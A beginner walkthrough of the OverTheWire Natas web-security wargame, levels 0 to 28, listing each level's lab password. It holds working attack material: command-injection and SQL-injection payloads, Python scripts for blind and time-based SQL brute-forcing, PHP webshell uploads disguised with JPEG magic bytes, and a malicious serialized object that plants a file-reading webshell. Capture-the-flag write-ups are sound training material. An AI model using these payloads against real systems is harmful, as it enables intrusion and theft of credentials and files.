# Overthewire Natas Walkthrough for Beginners

### Level 0 - Level 1:

* Looking at the source of the page, it has the password for the next level.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722786062969/919caed0-a9e8-4af1-9f9a-6c83bb5b3c02.png align="center")
    

```plaintext
🔒 g9D9cREhslqBKtcA2uocGHPfMZVzeFK6
```

### Level 1 - Level 2:

* The level was blocking right click but not the keyboard shortcut.
    
* Viewing the html gives the password for the next level.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722786078233/55ffc13b-a2c5-40ad-9876-bebe7e530595.png align="center")
    
    ```plaintext
    🔒 h4ubbcXrWqsTo7GGnnUMLppXbOogfBZ7
    ```
    

### Level 2 - Level 3:

* Web page shows nothing on the page.
    
* Upon inspecting the element, an image was fetched into the website.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722786112299/55c3737b-4636-444b-b3c8-211791ad0054.png align="center")
    
* going into the `/files` endpoint shows directory listing.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722786129049/63297f8d-0ad8-4c98-b853-77896f05f803.png align="center")
    
* The `users.txt` has the password for the next level.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722786143647/bba5b51d-e1d5-46bb-bec4-85a4f59adf3d.png align="center")
    
    ```plaintext
    🔒 G6ctbMJ5Nb4cbFwhpMPSvxGHhQ7I6W8Q
    ```
    

### Level 3 - Level 4:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722786174524/d3b0b398-993c-454c-b0ee-8912e3cbf7ab.png align="center")

* This hints towards the `robots.txt`
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722786201330/68fcdb8f-06df-4907-a615-5111c6ae3130.png align="center")
    

```plaintext
🔒 tKOcJIbzM4lTs8hbCmzn5Zr4434fGZQm
```

### Level 4 - Level 5:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722786238316/e4b07c48-2e06-49e2-8d77-3bf2753b7f49.png align="center")

* This hints towards the `Referer` header.
    

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722786253682/c1aa3129-3dbe-4faa-8b86-b40c1690a571.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722786267878/9b747846-d129-4ef2-ba75-3024142467c6.png align="center")

```plaintext
🔒 Z0NsrtIkJoKALBCLi5eqFfcRN82Au2oD
```

### Level 5 - Level 6:

* The application says not logged in.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722786295880/1d7c96d5-6315-46ca-a6c1-323972e43e7f.png align="center")
    
* This message hints towards the cookie and looking into it shows a boolean value for `loggedin` key.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722786305217/10b65541-1147-49c3-ad94-e1929e029f64.png align="center")
    
* Changing the value to 1 solves the level.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722786320837/ace65e03-22ed-4d9e-bb1c-651e37eb71d0.png align="center")
    

```plaintext
🔒 fOIvE0MDtPTgRhqmmvvAOt2EfXR6uQgR
```

### Level 6 - Level 7:

* The application was asking for a secret and returning the password if the provided secret was correct.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722786357913/9449ab77-29e3-40fa-bc1a-bf01f29e5548.png align="center")
    
* `includes/`[`secret.inc`](http://secret.inc) was included, so I tried to get the file directly.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722786390528/8aa8a5ca-86a8-4420-9181-8bb172dd5f4e.png align="center")
    
* This reveals the secret `FOEIUWGHFEEUHOFUOIU` which gives the password for the next level.
    

```plaintext
🔒 jmxSiH3SP6Sonf8dv66ng8v1cIEdjXWr
```

### Level 7 - Level 8:

* The application was fetching the pages from query parameter `page` .
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722786452628/92f660a6-6959-4c9b-a744-3aca36a4c478.png align="center")
    
* Querying the `/etc/natas_webpass/natas8` in the `page` parameter fetches the contents of the file revealing the password for the next level.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722786467816/f5e8b532-7d75-47d8-b857-10d7f779b424.png align="center")
    

```plaintext
🔒 a6bZCNYwdKqN5cGP11ZdtPg0iImQQhAB
```

### Level 8 - Level 9:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722786505876/3f7bd3e2-a909-4561-81a4-2cf87a45b02f.png align="center")

* The input is first passed to the `encodeSecret` function and then compared with `encodedSecret`.
    
* So reversing the `encodedSecret` hex2text→String reverse → base64 decode.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722786580899/2264f247-e8cb-4ac2-b722-e7a150f21997.png align="center")
    
* Passing the decoded string as secret reveals the password for the next level.
    

```plaintext
🔒 Sda6t0vkOPkM8YeOZkAGVhFoaplvlJFd
```

### Level 9 - Level 10:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722786616570/81b5787e-d5a6-4a95-8ac6-822a402c7b40.png align="center")

* The application is inserting the input `key` directly into the command, so command injection is possible.
    
* Since the password is stored in `/etc/natas_webpass/natas10`, the password can be read.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722786647261/c7b44657-c5d3-44dd-ad0b-f94a566f6c93.png align="center")
    

```plaintext
🔒 D44EcsFkLxPIkAAKLosx8z3hxX1Z4MCE
```

### Level 10 - Level 11:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722786745440/8dbdb45b-50cb-42cd-9e08-4b0444eaa76e.png align="center")

* Here some characters is being filtered before passing it through the grep command.
    
* As I can control the file to read before the `dictionary.txt`.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722786819831/5e86b36c-235e-4751-9291-daae0330948e.png align="center")
    

```plaintext
🔒 1KFqoJXi6hRaPluAmk8ESDW4fSysRoIg
```

### Level 11 - Level 12:

* The application has cookie protected with XOR.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722786867694/5138dc8a-6fc0-42c2-9fde-9f3fd00678b3.png align="center")
    
* The application sets the cookie with `saveData` function which json-encode → xor-encrypt → base64 encode the `$defaultdata`.
    
* When a request is submitted, it decodes the cookie value by reversing the process and shows password if `showpassword` is set to `yes.`
    
* The `xor_encrypt` function is responsible for encrypting the cookie where `key` is hidden.
    
* The key property of XOR operation is that, the XOR of same thing is **0.** Using this:
    
    * `defaultdata` XOR `key` ⇒ `cookie`
        
    * `cookie` XOR `defaultdata` ⇒ `defaultdata` XOR `key` XOR `defaultdata` ⇒ `key`
        
    
    ```php
    <?php 
    $defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
    function xor_encrypt_rev($data) {
        $key = base64_decode("MGw7JCQ5OC04PT8jOSpqdmkgJ25nbCorKCEkIzlscm5oKC4qeX18bjY=");
        $text = json_encode($data);
        $outText = '';
    
        // Iterate through each character
        for($i=0;$i<strlen($text);$i++) {
        $outText .= $text[$i] ^ $key[$i % strlen($key)];
        }
    
        return $outText.PHP_EOL;
    }
    echo xor_encrypt_rev($defaultdata);
    
    ?>
    ```
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722787052249/d0f8b3cb-d04f-40fe-bbb5-d05c264517d4.png align="center")
    
* The key is `KNHL`.
    
* Using this key to create new cookie value with `showpassword` set to `yes`.
    

```php
$required = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");

function xor_encrypt($in) {
    $key = 'KNHL';
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }

    return $outText;
}
echo base64_encode(xor_encrypt(json_encode($required))).PHP_EOL;
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722787087847/0663cf52-0b22-4bcf-a0c7-197a845e528f.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722787118739/9e05518d-1366-4e2c-8809-1bcd688d7c8c.png align="center")

```plaintext
🔒 YWqo0pjpcXzSIl5NMAVxg12QxeC1w9QG
```

### Level 12 - Level 13:

* The application has a image upload feature which uploads file with a random generated string as filename.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722787168129/292072fc-63e5-47e0-ab46-b5efb182d0fe.png align="center")
    
* Upon close inspection of the code, there exist two parameters in the request `filename` and `uploadedfile`.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722787342976/fc61e35a-540d-4d85-9799-9f6e16f9d2f0.png align="center")
    
* The extension for the `uploadedfile` is set from the extension of `filename` parameter.
    
* The general workflow of the application is:
    
    1. It validates if `filename` exist in request.
        
    2. The filename is passed to `makeRandomPathFromFilename($dir, $fn)` with `dir` set to `uploads`.
        
    3. The function extracts extension from the `filename` and send it to `getRandomPath` function which returns a random filename for the `uploadedfile` with the same extension as `filename`.
        
* If a PHP file is uploaded with code to read the password from `/etc/natas_webpass/natas13` and `filename` extension changed to `.php` , the file is executed when getting the file.
    

```php
<?php
$myfile = fopen("/etc/natas_webpass/natas13", "r") or die("Unable to open file!");
echo fread($myfile,filesize("/etc/natas_webpass/natas13"));
fclose($myfile);
?>
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722787491818/28c60584-dbbb-4f04-9f98-4d7a937a5ab8.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722787515806/27da198c-8e8b-4729-9816-6046c52756cf.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722787537312/a2debca0-0177-4c5a-84cb-38fac2794469.png align="center")

```plaintext
🔒 lW3jYRI02ZKDBb8VtQBU1f6eDRo6WEj9
```

### Level 13 - Level 14:

* The application restricts the file type of the uploaded image.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722787563730/9662cde5-4be1-4357-a549-80de8aab9543.png align="center")
    
* The `exif_image` type checks for initial bytes to determine if the file is an image.
    
* Some magic bytes of JPG can be added to a PHP file to bypass the restriction.
    
    ```python
    fh = open('natas13.php', 'wb')
    fh.write(b'\xFF\xD8\xFF\xE0' + b'<?php system("cat /etc/natas_webpass/natas14"); ?>')
    fh.close()
    ```
    
    * This results in a file `natas13.php` with following content.
        
        ```php
        ÿØÿà<?php system("cat /etc/natas_webpass/natas14"); ?>
        ```
        
* Now uploading the file in the application it passes the file-type check and when visited the link shows the password for the next level.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722787752969/b2674b1c-466b-4094-8dc7-02935bf36417.png align="center")
    
    ```plaintext
    🔒 qPazSJBmrmU7UQJv17MHk1PGC4DxZMEP
    ```
    

### Level 14 - Level 15:

* The application has a login form asking for username and password.
    
* Also the value of `username` and `password` is directly embedded into the SQL query without sanitation.
    
* ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722787843793/9bf70147-ca7b-4fd2-8686-039bab909ce5.png align="center")
    
* When tried the `' or '1'='1` as payload, it says **Access Denied**.
    
* The application was checking for `debug` parameter and echoing the query that is executed.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722787940003/905a8f88-88b3-4ae9-a616-5634366d1ce4.png align="center")
    
* The query had double quotes instead of single, so changing the payload to `" or "1"="1` executed successfully and gives the password for the next level.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722788024768/60015214-03b1-45d4-aefc-402ca409518e.png align="center")
    

```plaintext
🔒 TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB
```

### Level 15 - Level 16:

* The application checks if a user exist in the database
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722788067335/075dfacf-b2db-42bb-a890-bc8af1b159e6.png align="center")
    
* Since the username is directly embedded into the SQL query, password can be queried and brute-forced.
    
* Writing a python script to brute-force the password.
    
    ```python
    import requests
    
    url = "http://natas15.natas.labs.overthewire.org/index.php"
    headers = {"Authorization": "Basic bmF0YXMxNTpUVGthSTdBV0c0aURFUnp0QmNFeUtWN2tSWEgxRVpSQg=="}
    known_characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    password = ""
    
    while True:
        found = False
        for char in known_characters:
            print("Checking",char) #like binary compares the password in case sensitive form.
            payload = 'natas16" and password like binary"' + password + char + '%"-- -"'
            data = {"username": payload}
            res = requests.post(url=url, headers=headers, data=data)
            if "This user exists" in res.text:
                password += char
                found = True
                print("Current cracked:",password)
                break
    
        if not found:
            break
    
    print("Cracked password:", password)
    ```
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722788137887/478abfb3-96b9-470a-b000-23a7fff649ed.png align="center")
    

```plaintext
🔒 TRD7iZrd5gATjj9PkPEuaOlfEjHqj32V
```

### Level 16 - Level 17:

* The application filters special characters which prevents general command injection vulnerability.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722788171358/7e74775b-8ce7-467d-965b-d59d8d37747b.png align="center")
    
* However, it is not filtering the `$()` which can be used to inject some command.
    
* The password can be brute-forced character by character using grep command inside `$()` operator.
    

```python
import requests

base_url = "http://natas16.natas.labs.overthewire.org/"
headers = {"Authorization": "Basic bmF0YXMxNjpUUkQ3aVpyZDVnQVRqajlQa1BFdWFPbGZFakhxajMyVg=="}
known_characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
password = 'XkE'
while True:
    found = False
    for char in known_characters:
        print("Checking: "+char)
        payload = '$(grep ^'+password+char+' /etc/natas_webpass/natas17)hellos'
        res = requests.get(url=base_url+"?needle="+payload, headers=headers)
        if "hellos" not in res.text:
            password += char
            found = True
            print("Current cracked:",password)
            break

    if not found:
        break

print("Cracked password:", password)
```

* The main idea is to grep for initial sequence of password from `/etc/natas_webpass/natas17` one by one and checking the response for validating the password.
    
    * If the grep inside `$()` returns, it appends the password with the word `hellos` and then search for the combined word in `dictionary.txt` file.This returns empty result.
        
    * If the initial do not match in the `natas17` password file the output is empty which is concatenated with `hellos` which returns non empty result when searched in `dictionary.txt`
        
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722788328482/b321db0f-2467-485a-969a-6c29921b8b87.png align="center")
    

```plaintext
🔒 XkEuChE0SbnKBvH1RU7ksIb9uuLmI7sd
```

### Level 17 - Level 18:

* The application do not show any response for existing and non existing user.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722788369091/5fc72db8-b480-4fa6-afd8-b4dd47b47798.png align="center")
    
* This means normal password brute-force with SQL injection is not possible.
    
* However, Time based Blind SQL injection is possible.
    

```python
import requests

base_url = "http://natas17.natas.labs.overthewire.org/index.php"
headers = {"Authorization": "Basic bmF0YXMxNzpYa0V1Q2hFMFNibktCdkgxUlU3a3NJYjl1dUxtSTdzZA=="}
known_characters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
password = ''
while True:
    found = False
    for char in known_characters:
        print("Checking: " + char)
        payload = 'natas18" && (Select case when password like binary "'+password+char+'%"  then sleep(5) end from users where username = "natas18") -- -"'
        data = {"username": payload}
        res = requests.post(url=base_url, headers=headers, data=data)
        if res.elapsed.total_seconds() > 4:
            password += char
            found = True
            print("Current cracked:", password)
            break

    if not found:
        break

print("Cracked password:", password)
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722788496196/7fa1818e-75a2-4788-b565-04553e737053.png align="center")

```plaintext
🔒 8NEDUUxg8kFgPV84uLwvZkGn6okJQ6aq
```

### Level 18 - Level 19:

* The application is checking if the user is admin and then echoing the password for the next level.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722788589412/f3e08e42-f623-474f-b3ff-983cce532d4a.png align="center")
    
* When logged in with any random user, the application creates a cookie `PHPSESSID` with a integer value.
    
* The application is setting a random value from **1 - 640.**
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722788824600/4813fbe8-91d0-4885-9d10-b11ba61d9cc8.png align="center")
    
* The cookie value can be brute-forced as it is sequential.
    
* `PHPSESSID` 119 showed the password for the next level.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722788892557/1d834fc2-fea4-4107-b43a-41432c4e7ab2.png align="center")
    

```plaintext
🔒 8LMJEhKFbMKIL2mxQKjv0aEDdk7zpT0s
```

### Level 19 - Level 20:

* The application has same logic as the previous level, the only difference is the `PHPSESSID` is not sequential.
    
* When I see the cookie it seems like HEX value.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722788940907/18e664d6-abe0-4ecb-ba64-4b5b35727b9f.png align="center")
    
* The application might be using the same number range from **1 - 640** but is hex encoding it appending `-admin` in the sequence.
    

```python
import requests
import binascii
base_url = "http://natas19.natas.labs.overthewire.org/index.php"
headers = {"Authorization": "Basic bmF0YXMxOTo4TE1KRWhLRmJNS0lMMm14UUtqdjBhRURkazd6cFQwcw=="}
for i in range(1, 641):
    cookie = {"PHPSESSID": binascii.hexlify(bytes(f'{i}-admin', 'utf-8')).decode()}
    res = requests.get(url=base_url, headers=headers, cookies=cookie)
    if "Login as an admin" not in res.text:
        print(res.text)
				break
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722788982387/29590973-7ad5-40d1-bbed-035e98090f2d.png align="center")

```plaintext
🔒 guVaZ3ET35LbgbFMoaN5tFcYT1jEP7UH
```

### Level 20 - Level 21:

* The application is maintaining sessions on their own storing the variables in a file.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722789183890/59b3f991-3a29-4aa7-91ce-18da1b234e15.png align="center")
    
* `mywrite` function is writing the name input into the session variable `name` without sanitation.
    
* `myread` function reads the session file, reads it line by line and create session variables based on it.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722789828697/b9c434c9-3ebd-44ed-8846-ded29c826830.png align="center")
    
* If an additional variable is sent with newline character it gets add into the file. When reading the file the characters after `\n` is treated as new variable and saved to `_SESSION`.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722861083918/a0b14f0a-eef2-42df-b37f-3ffd65c99f96.png align="center")
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722861101297/adc2be1e-04cf-4751-bf70-1c6cf7b235a6.png align="center")
    

```plaintext
🔒 89OWrTkGmiLZLv12JY4tLj2c4FW0xn56
```

### Level 21 - Level 22:

* Two applications are collocated. This means both application share same session cookie.
    

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722861208103/2890c8bf-455a-4234-abc3-4217b55f061a.png align="center")

[http://natas21.natas.labs.overthewire.org/](http://natas21.natas.labs.overthewire.org/)

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722861225384/280fd15d-9cb8-4e8f-b97d-c7fc6efaf5f6.png align="center")

[http://natas21-experimenter.natas.labs.overthewire.org/index.php](http://natas21-experimenter.natas.labs.overthewire.org/index.php)

* The 2nd application has a form to style the text. And the changes persists on reload. So, the variables are stored in the session.
    
* Upon inspecting the PHP code, it is saving every form value in the current session.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722861256511/75f53df1-ee6d-4565-8be6-293574d3972f.png align="center")
    
* It will store any key value pair in the session, So injecting the `admin` value when submitting the form.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722861283368/6e8aeb60-2941-45af-b491-f05ec3bebd5d.png align="center")
    
* Now use the same cookie in 1st Application and reload the page. This will give the password for the next level.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722861315981/77ce0485-9fc3-48d3-9952-677ad829814b.png align="center")
    

```plaintext
🔒 91awVM9oDiUGm33JdzM7RVLBS8bz9n0s
```

### Level 22 - Level 23:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722861333407/f14bd48f-987f-48ab-9dcf-993473fab299.png align="center")

* The application is checking for `revelio` parameter and showing the password if exist.
    
* But the application is checking for admin access and redirecting to `/` if the user is not admin.
    
* However the password for next level is also returned but the browser redirects the user to `/` without showing the response.
    
* This can be bypassed with Burpsuite.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722861354143/5902e3c9-ac7d-4296-829f-ed27a15ed09a.png align="center")
    

```plaintext
🔒 qjA8cOoKFTzJhtV0Fzvt92fgvxVnVRBj
```

### Level 23 - Level 24:

* The application asks for a password and gives the password for next level if it meets the requirements.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722861560396/8bb78fd4-ffe1-4bc3-847a-acbeaf735a7d.png align="center")
    
* It checks if `iloveyou` exists in password and if the password value is `greater than 10` .
    
* This can be exploited due to [PHP type juggling](https://owasp.org/www-pdf-archive/PHPMagicTricks-TypeJuggling.pdf) when `5000iloveyou` is given as input as it passes both the conditions.
    
    1. The password contains the text `iloveyou` in it.
        
    2. Due to PHP type juggling, it converts the input to integer value i.e. 5000 and compares it with 10.
        
* This solves the problem and shows the password for the next level.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722861583318/3cafd550-6dd3-4308-a33a-a95fc0388a81.png align="center")
    

```plaintext
🔒 0xzF30T9Av8lgXhW7slhFCIsVKAPyl2r
```

### Level 24 - Level 25:

* This level also asks for password and compares with the secret to show the password for next level.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722861634970/34f8275e-7df0-4878-8f5a-3a301be579a2.png align="center")
    
* The `strcmp` function is vulnerable to type-juggling.
    
* Instead of string if we provide an array, the if condition ends up as true and show the password for the next level.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722861685180/91e5392b-33e9-4932-9733-41a1bd557889.png align="center")
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722861760082/52a0ab63-7a7f-46a5-9b0c-04508f956340.png align="center")
    

```plaintext
🔒 O9QD9DZBDq1YpswiTM5oqMDaOtuZtAcx
```

### Level 25 - Level 26:

* The application has a simple quote paragraph and an option to choose the language which is sent as parameter `lang` .
    
* The language is being included as file, so File Inclusion might be possible.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722861778861/92109bca-d7d7-4c58-a90a-0693d121f20d.png align="center")
    
* Looking at the `logRequest` function, it includes `User-Agent` into the log which is controlled by us. Also shows the location of the log file with its name.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722861805007/ffa5e465-bfbf-4a0b-b424-1bbf0370a08b.png align="center")
    
* If we can insert PHP in the `log` file and include the log file exploiting the `replace()` function, we can get the password for the next level.
    
* Since log is created when it do not pass the test, Sending PHP code with `lang=natas_webpass` and `User-Agent` with valid PHP code.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722861845618/db2473c6-de01-4951-914b-5dae7357bb3f.png align="center")
    

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722861865541/7d239a98-fff0-4feb-85ca-78877eb815eb.png align="center")

* This payload works because `replace()` function replaces the `../` character once and not recursively.
    

```plaintext
🔒 8A506rfIAXbKKk68yJeuTuRq4UfcK70k
```

### Level 26 - Level 27:

* The application asks for coordinates and plots them in a image.
    
* Every input is stored in `drawing` cookie and is plotted along with the past inputs.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722870374167/a7653eb0-bf0b-490d-b10d-572e4bccc795.png align="center")
    
* Looking at the source code, it is deserializing the `drawing` cookie value.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722870394934/1b422227-6aaf-4456-a9c7-175e781208d6.png align="center")
    
* The application also has a `Logger` class which is responsible for logging.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722870416996/6d99c9f7-95bb-43a9-8eb8-a520d61d4fdb.png align="center")
    
* The interesting function is the `__destruct()` and the class attribute `exitMsg` and `logFile`.
    
* For the exploitation I created a malicious serialized object as:
    
    ```php
    
    <?php
    
        class Logger{
            private $logFile;
            private $initMsg;
            private $exitMsg;
    
            function __construct($file){
                // initialise variables
                $this->initMsg="#--session started--#\n";
                $this->exitMsg="<?php system('cat /etc/natas_webpass/natas27'); ?>";
                $this->logFile = "img/natas26_exploit.php";
            }
    
        }
        $logger = new Logger("temp");
        echo base64_encode(serialize($logger)).PHP_EOL;
    ?>
    ```
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722870453204/5d87be76-079d-41ea-b755-955a3e03b3ef.png align="center")
    
    1. When the output of the code is set as `drawing` cookie, it is passed to the application when the page is reloaded.
        
    2. When the cookie is deserialized, instance of the malicious object is created with:
        
        * `logFile` ⇒ `img/natas26_exploit.php`
            
        * `exitMsg` ⇒ `<?php system('cat /etc/natas_webpass/natas27'); ?>`
            
    3. When the object is destroyed the `__destruct` function is invoked which creates the `logFile` and inserts `exitMsg` into it.
        
    4. This means `natas26_exploit.php` file is created with the PHP code to read the contents of `/etc/natas_webpass/natas27` .
        
    5. Visiting the exploit page, gives the password for the next level.
        
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722870529603/110b414e-23b5-4245-8048-7c6bcc93842e.png align="center")
    

[**Relevant Article**](https://medium.com/swlh/exploiting-php-deserialization-56d71f03282a)

```plaintext
🔒 PSO8xysPi00WKIiZZ6s6PtRmFy9cbxj3
```

### Level 27 - Level 28:

* The application shows a login form, it the user exist it checks for credentials and display them back. If the user does not exist it creates a new one.
    
* It is preventing SQL injection.
    
* The interesting part is the database schema where the length of username and password is 64.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722870557568/be556489-7fda-4336-8138-b63bf15198b8.png align="center")
    
* However, the limit is not verified when creating a new user.The function is preventing username with additional spaces.
    
    Source code with the main flow:
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722870609348/5475dc98-ba14-4d1b-afb4-a98922efe6cf.png align="center")
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722870634526/21394b4c-eeed-4510-b732-7aba8d01bf2a.png align="center")
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722870649559/5514cad0-c950-434a-968c-e0f588e18f89.png align="center")
    
* The main idea for the exploit is the SQL Truncation Exploit. This means the inputs longer than 64 characters will be truncated or deleted.
    
* Using this along with `createUser` function trim function.
    
    1. Creating a new user with username `natas28` (7 characters ) + 57 `space` + any character. = 65 character.
        
    2. This will prevent the `trim()` function to shorten the username.
        
    3. As the database can only store 64 characters, new user will be created with the username `natas28` + 57 `space` = 64
        
    4. In My\_SQL database both `natas28` and `natas28+ 57 space` is treated as same when queried by the username.
        
    5. However the password is different for the two entries.
        
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722870733343/a28440bd-3e79-4e6d-a921-09f3224cd27b.png align="center")
    
* Create a user with 65 character payload and login with 64 character user will reveal the password for the other `natas28` user.
    
* This is because of the `dumpData` function which iterated over the user and prints their data.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722870768550/02391871-5c2d-42d8-85d8-4fb28ff8ce2b.png align="center")
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722870776868/f58d96f9-2a6d-4ad0-9de7-09f5c95932bd.png align="center")
    
    [SQL Truncation Exploit](https://n0j.github.io/2017/07/20/otw-natas-27.html)
    

```plaintext
🔒 skrwxciAe6Dnb0VfFDzDEHcCzQmv3Gd4
```

### Level 28 - Level 29:

* The application is searching for jokes in database containing the word we search for.
    
* It is sending request to `search.php` with an encrypted query
    
    [`http://natas28.natas.labs.overthewire.org/search.php/?query=G%2BglEae6W%2F1XjA7vRm21nNyEco%2Fc%2BJ2TdR0Qp8dcjPKI2nqdSIqg8bRBxCLXlTEXrDuHHBxEg4a0XNNtno9y9GVRSbu6ISPYnZVBfqJ%2FOns%3D`](http://natas28.natas.labs.overthewire.org/search.php/?query=G%2BglEae6W%2F1XjA7vRm21nNyEco%2Fc%2BJ2TdR0Qp8dcjPKI2nqdSIqg8bRBxCLXlTEXrDuHHBxEg4a0XNNtno9y9GVRSbu6ISPYnZVBfqJ%2FOns%3D)
    
* It seems like base64 encoded, but is encrypted.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722870867738/6b3937a5-ba0f-4627-ab3f-0dce8bc6b1e1.png align="center")
    
* When normal text is sent as query parameter, it shows error related to padding, which hints towards the Block cipher.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722870893634/0f56a4bd-edfc-4879-a004-da671459f875.png align="center")
    
* When valid search query are sent, there are some similar blocks for each search.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722870915378/1f50567d-74f6-4c32-a305-57b81bb006e5.png align="center")
    
* This hints toward the ECB encryption. The initial encrypted block are some text that are pre-pended to our search input. The encrypted query might be formed by this:
    
    * `Default Prepended Text` + `Our Input` + `Padding to match the predefined block size`
        
* Now checking for block size by increasing the input size.
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722871061630/ed6e5f1c-8b1f-4f06-a190-aba029ad8263.png align="center")
    
* Here the `Encrypted query length` is increased by **32 bytes.** The length remain same for `16` characters in `input length` .
    
* The jump from 160 to 192 at `input length` 13 is due to the pre-pended characters to our input.
    
    * Input Block size = 16 characters
        
    * Encrypted Block size = 32 bytes.
        
* Now lets see if we can get encrypted block to same sequence of 32 bytes for consecutive block.
    
* The first two blocks are same for all request. After the input of 10 `a` , the 3rd block also starts to repeat. So it contains the `prepended 6 characters` + `10 'a's` .
    
    * At input length 9 there is 1 character padding at the end
        
    * After 10 character input a new block is added with one `a` and 15 `padding` character.
        
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722871311728/d1950f61-9fbf-4d81-9cd8-4cd264ab002c.png align="center")
    
* If we can fill the remaining blocks with with our input, then next block of bytes will also start to repeat.
    
    3rd block starts to repeat which is filled with `a`:
    

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1722871403325/6393c9a5-0957-438c-a366-32f998bd7707.png align="center")

* Now the repeating block `b39038c28df79b65d26151df58f7eaa3` represents 16 `a` characters.
    
* After next 16 character, next block also start to repeat.
    
    2 blocks with `a` s.
    

